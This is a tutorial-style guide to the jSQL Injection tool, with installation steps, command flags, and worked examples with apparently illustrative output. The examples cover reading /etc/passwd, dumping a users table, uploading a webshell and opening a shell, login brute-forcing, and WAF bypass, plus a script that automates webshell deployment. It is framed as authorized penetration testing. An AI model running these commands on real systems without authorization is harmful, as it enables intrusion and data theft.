jSQL Injection is a free, open-source, cross-platform Java application used for automated SQL injection detection and exploitation. Unlike SQLMap, which is CLI-first, jSQL Injection is primarily a graphical (Swing-based) desktop application, making it a popular choice for testers who prefer a point-and-click interface, or who are demonstrating live exploitation during a presentation/report walkthrough. jSQL also exposes a headless/CLI mode for scripted use.
Because it is written in Java, jSQL Injection runs on any platform with a JVM (Linux, Windows, macOS) without modification — a distinguishing feature versus most other injection tools that are Python- or OS-specific. It is bundled in Kali Linux’s tool repository.
jSQL Injection supports the following relational database management systems: MySQL, Oracle, PostgreSQL, Microsoft SQL Server (MSSQL), SQLite, Informix, Cubrid, IBM DB2, HSQLDB, and Firebird.
Its feature set includes:
- Automatic injection point detection across GET, POST, header, and cookie parameters.
- Database/table/column enumeration and data retrieval through an intuitive tree-style GUI browser.
- Administration page finder — brute forces common admin panel paths on the target.
- Brute force module — supports hash cracking and login brute forcing.
- File system read/write via injection (where DBMS privileges allow), including uploading a webshell.
- Base64/Hex/Unicode payload encoding to help evade basic WAF signature filters.
- Network/proxy configuration, including SOCKS/HTTP proxy support and Tor integration.
- Terminal/shell tab for direct command execution once file write access is achieved.
- Coder tab for manual encode/decode utility work (Base64, Hex, MD5, SHA1, etc.) useful during manual exploitation.
Installation
Kali Linux (APT — pre-installed or repo install)
sudo apt update
sudo apt install jsql-injection -y
Verify Java Runtime (Required Dependency)
java -version
If Java is missing:
sudo apt install default-jre -y
Run from the Official JAR (Cross-Platform, Any OS)
wget https://github.com/ron190/jsql-injection/releases/latest/download/jsql-injection-v0.99.jar -O jsql-injection.jar
java -jar jsql-injection.jar
Build from Source (Maven)
sudo git clone https://github.com/ron190/jsql-injection.git /opt/jsql-injection
cd /opt/jsql-injection
mvn clean package
java -jar target/jsql-injection-*.jar
Verify Installation
jsql-injection --version
or, launching the GUI directly:
jsql-injection
Expected result: the jSQL Injection Swing GUI window opens with a URL input bar at the top and tabbed panels (Injection, Analysis, UI, Coder, Network, Config) below.
Syntax
GUI Mode (Default)
jsql-injection
Then enter the target URL directly into the GUI’s address bar and click the injection (“play”) button.
Headless / CLI Mode
java -jar jsql-injection.jar --url "<target-url>" [options]
Example:
java -jar jsql-injection.jar --url "http://target.com/item.php?id=1" --headless
Command-Line Options Reference (Kali Linux)
While jSQL Injection is GUI-centric, it exposes the following flags for headless/scripted operation and JVM-level configuration:
| Option | Description |
|---|---|
--url=<URL> | Target URL to test |
--headless | Run without launching the graphical interface |
--method=<GET|POST> | HTTP method to use for the request |
--data=<POSTDATA> | POST body data string |
--cookie=<COOKIE> | Cookie header value to send with requests |
--header=<NAME:VALUE> | Custom HTTP header (repeatable) |
--proxy=<HOST:PORT> | HTTP/SOCKS proxy to route requests through |
--proxy-type=<HTTP|SOCKS4|SOCKS5> | Proxy protocol type |
--tor | Route traffic through Tor |
--user-agent=<UA_STRING> | Custom User-Agent header |
--auth-basic=<USER:PASS> | HTTP Basic authentication credentials |
--strategy=<normal|error|blind|time|union|stacked> | Force a specific injection strategy |
--encode=<base64|hex|unicode> | Payload encoding to apply for WAF evasion |
--threads=<N> | Number of concurrent threads for enumeration/brute force |
--timeout=<MS> | Request timeout in milliseconds |
--admin-search | Enable admin panel path brute-forcing on start |
--brute-force=<wordlist> | Path to wordlist for login/hash brute forcing |
--file-read=<remote_path> | Read a file from the target filesystem via injection |
--file-write=<local_path>:<remote_path> | Upload a local file to the target filesystem via injection |
--shell | Attempt to spawn an interactive shell tab after successful file write |
--output=<path> | Directory/file to save results |
--verbosity=<0-3> | Logging verbosity level |
--help | Display help/usage information |
--version | Display jSQL Injection version |
GUI Tabs Reference (equivalent functional areas)
| Tab | Function |
|---|---|
| Injection | Main tab: enter URL, view detected injection points, browse databases/tables/columns/data in a tree view |
| Analysis | Displays raw HTTP request/response traffic for each test performed |
| UI | Application preferences: theme, font size, proxy defaults |
| Coder | Manual encode/decode utility (Base64, Hex, MD5, SHA-1, SHA-256, URL-encoding) |
| Network | Proxy/Tor configuration, custom headers, authentication settings |
| Config | Advanced settings: thread count, timeout, evasion techniques, strategy toggles |
| Terminal | Interactive shell once file write/webshell upload succeeds |
5. Basic Usage (Expected Output in Bash)
Launching in GUI mode from a terminal (the terminal shows startup logging even though interaction happens in the window):
jsql-injection
Expected terminal output:
[INFO] jSQL Injection v0.99 starting...
[INFO] Loading UI components...
[INFO] Java Runtime: OpenJDK 17.0.9
[INFO] GUI initialized successfully. Ready for target input.
Headless mode basic detection run:
java -jar jsql-injection.jar --url "http://target.com/item.php?id=1" --headless
Expected output:
[*] jSQL Injection v0.99 (headless mode)
[*] Target: http://target.com/item.php?id=1
[*] Testing parameter: id
[+] Injection point found: id (GET) - Error-based (MySQL)
[+] DBMS fingerprint: MySQL 8.0.34
[*] Results saved to ./jsql_results/item_php_id.json
Practical Examples with Output in Bash
Example 1 — Basic Injection Detection (Headless)
java -jar jsql-injection.jar --url "http://target.com/product.php?id=5" --headless
[+] Parameter 'id' is injectable (Error-based, MySQL)
[+] Back-end DBMS: MySQL 5.7.32
Example 2 — Enumerate Databases
java -jar jsql-injection.jar --url "http://target.com/product.php?id=5" --headless --strategy=union
[*] Using UNION-based strategy
[+] Databases found:
- information_schema
- shopdb
- mysql
Example 3 — POST-Based Injection with Custom Data
java -jar jsql-injection.jar --url "http://target.com/login.php" --method=POST --data="user=admin&pass=test" --headless
[*] Testing POST parameters: user, pass
[+] Parameter 'pass' is injectable (Boolean-based blind, MySQL)
Example 4 — Using a Proxy (e.g., Burp Suite) for Traffic Inspection
java -jar jsql-injection.jar --url "http://target.com/item.php?id=1" --proxy=127.0.0.1:8080 --proxy-type=HTTP --headless
[*] Routing all traffic through proxy 127.0.0.1:8080
[+] Parameter 'id' is injectable (Time-based blind)
Example 5 — Table and Column Enumeration
java -jar jsql-injection.jar --url "http://target.com/product.php?id=5" --headless --strategy=union
Database: shopdb
Tables: users, products, orders
Selecting table 'users'...
Columns: id, username, password, email
Example 6 — Dumping Table Data
java -jar jsql-injection.jar --url "http://target.com/product.php?id=5" --headless --strategy=union --output=./dump_users.json
[*] Dumping table 'users' (4 columns, 3 rows)...
[+] Data saved to ./dump_users.json
Preview:
id | username | password | email
1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin@shop.local
2 | bob | e10adc3949ba59abbe56e057f20f883e | bob@shop.local
Example 7 — Admin Page Search
java -jar jsql-injection.jar --url "http://target.com/" --admin-search --headless
[*] Brute forcing common admin panel paths...
[+] Found: http://target.com/admin/ (HTTP 200)
[+] Found: http://target.com/administrator/login.php (HTTP 200)
[-] Not found: http://target.com/cpanel/
Example 8 — Reading a Remote File via Injection
java -jar jsql-injection.jar --url "http://target.com/item.php?id=1" --file-read=/etc/passwd --headless
[*] Attempting file read via injection (requires FILE privilege)...
[+] File contents retrieved:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Example 9 — Writing a Web Shell to the Target
java -jar jsql-injection.jar --url "http://target.com/item.php?id=1" --file-write=./shell.php:/var/www/html/shell.php --headless
[*] Uploading local file 'shell.php' to remote path '/var/www/html/shell.php'...
[+] File write successful (verified via HTTP HEAD request: 200 OK)
Example 10 — Spawning an Interactive Shell After Webshell Upload
java -jar jsql-injection.jar --url "http://target.com/item.php?id=1" --shell --headless
[*] Connecting to uploaded shell at /var/www/html/shell.php...
[+] Shell session established.
shell> whoami
www-data
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Example 11 — Brute Forcing Login Credentials
java -jar jsql-injection.jar --url "http://target.com/admin/login.php" --brute-force=/usr/share/wordlists/rockyou.txt --headless
[*] Starting credential brute force against login form...
[*] Testing 500/14344399 passwords...
[+] Valid credentials found: admin:admin123
Example 12 — Using Payload Encoding to Bypass a Basic WAF
java -jar jsql-injection.jar --url "http://target.com/search.php?q=test" --encode=hex --headless
[*] Applying hex encoding to injection payloads...
[+] Parameter 'q' is injectable (Error-based) - WAF signature bypassed
Common Use Cases
- Live GUI demonstrations during client-facing penetration test debriefs, since the tree-view database browser is easy to present visually.
- Cross-platform testing from a Windows or macOS workstation without needing a Linux environment, thanks to the Java runtime.
- Quick manual verification of a suspected SQLi finding alongside SQLMap, as a second independent tool to corroborate results.
- Admin panel discovery as a lightweight reconnaissance step early in a web application assessment.
- File system read/write exploitation to escalate a SQLi finding into full remote code execution via webshell upload.
- Credential brute forcing against custom login forms not easily automated with other tools.
- Manual encode/decode utility work (using the Coder tab) during payload crafting for unusual encodings.
Automation with Bash
Headless Batch Scan Script
#!/bin/bash
# jsql_batch_scan.sh - Run jSQL Injection headless mode against a list of URLs
TARGETS="targets.txt"
JAR="/opt/jsql-injection/jsql-injection.jar"
OUTDIR="jsql_results_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTDIR"
while IFS= read -r url; do
name=$(echo "$url" | md5sum | awk '{print $1}')
echo "[*] Scanning: $url"
java -jar "$JAR" --url "$url" --headless --output="$OUTDIR/${name}.json" \
> "$OUTDIR/${name}.log" 2>&1
if grep -q "is injectable" "$OUTDIR/${name}.log"; then
echo "[+] VULNERABLE: $url"
else
echo "[-] Not injectable: $url"
fi
done < "$TARGETS"
echo "[*] Batch scan complete. Results in $OUTDIR"
Run it:
chmod +x jsql_batch_scan.sh
./jsql_batch_scan.sh
Automated Webshell Deployment Pipeline (Authorized Lab Use)
#!/bin/bash
# jsql_shell_deploy.sh - Detect injection, then attempt webshell upload and shell spawn
URL="$1"
JAR="/opt/jsql-injection/jsql-injection.jar"
LOCAL_SHELL="./payloads/shell.php"
if [ -z "$URL" ]; then
echo "Usage: $0 <target-url>"
exit 1
fi
echo "[*] Testing injection point on $URL"
java -jar "$JAR" --url "$URL" --headless > /tmp/jsql_detect.log 2>&1
if grep -q "is injectable" /tmp/jsql_detect.log; then
echo "[+] Injection confirmed. Attempting file write..."
java -jar "$JAR" --url "$URL" --file-write="${LOCAL_SHELL}:/var/www/html/pentest_shell.php" --headless
echo "[*] Attempting shell spawn..."
java -jar "$JAR" --url "$URL" --shell --headless
else
echo "[-] Target does not appear injectable."
fi
Recurring Scheduled Scan via Cron
# crontab -e
# Authorized nightly regression scan of staging environment
0 1 * * * java -jar /opt/jsql-injection/jsql-injection.jar --url "http://staging.internal.corp/item.php?id=1" --headless --output=/var/log/jsql/nightly.json >> /var/log/jsql/cron.log 2>&1
Tips and Best Practices
- Use the GUI mode for exploratory testing and initial reconnaissance — the tree-view database browser makes it fast to visually confirm data structures.
- Switch to
--headlessmode for CI/CD-style repeated scans or when working over SSH on a headless Kali box without X11 forwarding. - Route traffic through Burp Suite (
--proxy=127.0.0.1:8080) during manual testing so every request/response can be inspected and replayed. - Cross-validate findings between jSQL Injection and SQLMap — since they use different detection heuristics, agreement between both tools increases confidence and reduces false positives.
- Use the Coder tab for quick manual payload transformations (Base64/Hex/URL-encode) instead of switching to an external tool.
- When attempting file read/write, remember these require elevated DBMS privileges (e.g.,
FILEprivilege in MySQL) — expect failures against least-privilege database accounts, which is itself a useful finding to note (privilege separation is working correctly). - Increase
--threadscautiously; too many concurrent threads can trigger rate limiting or crash fragile target applications, especially in shared testing environments. - Always clean up any uploaded webshells or added test files at the end of an authorized engagement.
Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
| GUI does not launch, no window appears | Missing/incompatible Java version, no display server | Verify java -version (Java 8+ required); ensure X11/Wayland session is active or use --headless |
UnsupportedClassVersionError | JAR built for newer Java than installed | Install a matching or newer JRE/JDK (sudo apt install default-jre) |
| No injection points found on known-vulnerable target | Insufficient detection strategy or WAF filtering | Try --strategy=time or --strategy=blind; apply --encode=hex |
--file-read/--file-write always fails | DBMS account lacks FILE privilege, or secure_file_priv restricts paths (MySQL) | Confirm privilege level with a manual query; try alternate writable directories |
| Proxy-routed requests time out | Proxy not listening, or wrong proxy type specified | Confirm proxy tool (e.g. Burp) is running on the specified host:port; match --proxy-type |
| Admin search returns many false positives | Custom 404 pages returning HTTP 200 | Manually verify each discovered path in a browser before reporting |
| Brute force extremely slow | Large wordlist with low thread count | Increase --threads moderately; use a smaller, targeted wordlist first |
| Shell tab shows connection refused after upload | Web server caching old directory listing, or wrong upload path guessed | Manually verify the uploaded file is reachable via direct HTTP request first |
References
- GitHub repository: https://github.com/ron190/jsql-injection
- Official releases page: https://github.com/ron190/jsql-injection/releases
- Kali Linux tool page: https://www.kali.org/tools/jsql-injection/
- OWASP SQL Injection reference: https://owasp.org/www-community/attacks/SQL_Injection
- PortSwigger Web Security Academy (SQL injection labs): https://portswigger.net/web-security/sql-injection
